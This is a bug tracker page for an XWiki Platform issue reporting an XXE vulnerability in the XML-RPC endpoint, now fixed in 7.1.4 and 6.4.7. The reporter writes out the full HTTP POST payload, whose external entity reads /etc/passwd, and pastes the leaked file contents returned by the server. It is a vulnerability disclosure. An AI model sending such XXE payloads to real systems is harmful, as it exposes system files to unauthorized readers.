Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-12910

Security Hole in the XML-RPC component

    XMLWordPrintable

Details

    • Bug
    • Resolution: Fixed
    • Blocker
    • 7.1.4, 6.4.7
    • 6.4.6, 7.1.3
    • {Unused} XML-RPC
    • None
    • Unknown

    Description

      hi,

      I have some 6.4.6 instances running. From an security scan I got this information and I can confirm this on my platform:

      POST /xmlrpc HTTP/1.1
      Host: YOURHOST
      Content-Length: 182
      Connection: Keep-alive
      Accept-Encoding: gzip,deflate
      User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
      Accept: */*
      
      <?xml version="1.0"?>
       <!DOCTYPE foo [  
        <!ELEMENT methodName ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
      <methodCall>
        <methodName>&xxe;</methodName>
      </methodCall>
      

      I got as answer the complete /etc/passwd:

      <?xml version="1.0" encoding="UTF-8"?><methodResponse><fault><value><struct><member><name>faultCode</name><value><i4>0</i4></value></member><member><name>faultString</name><value>No such handler: root:x:0:0:root:/root:/bin/bash
      bin:x:1:1:bin:/bin:/sbin/nologin
      daemon:x:2:2:daemon:/sbin:/sbin/nologin
      adm:x:3:4:adm:/var/adm:/sbin/nologin
      lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
      sync:x:5:0:sync:/sbin:/bin/sync
      shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
      halt:x:7:0:halt:/sbin:/sbin/halt
      mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
      uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
      operator:x:11:0:operator:/root:/sbin/nologin
      games:x:12:100:games:/usr/games:/sbin/nologin
      gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
      ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
      nobody:x:99:99:Nobody:/:/sbin/nologin
      vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
      ntp:x:38:38::/etc/ntp:/sbin/nologin
      saslauth:x:499:499:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
      postfix:x:89:89::/var/spool/postfix:/sbin/nologin
      sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
      tcpdump:x:72:72::/:/sbin/nologin
      exim:x:93:93::/var/spool/exim:/sbin/nologin
      postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
      tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat6:/sbin/nologin
      nagios:x:498:497::/var/spool/nagios:/sbin/nologin
      nrpe:x:497:496:NRPE user for the NRPE service:/var/run/nrpe:/sbin/nologin
      </value></member></struct></value></fault></methodResponse>
      

      Attachments

        Issue Links

          Activity

            People

              vmassol Vincent Massol
              ruben.herold Ruben Herold
              Votes:
              0 Vote for this issue
              Watchers:
              4 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: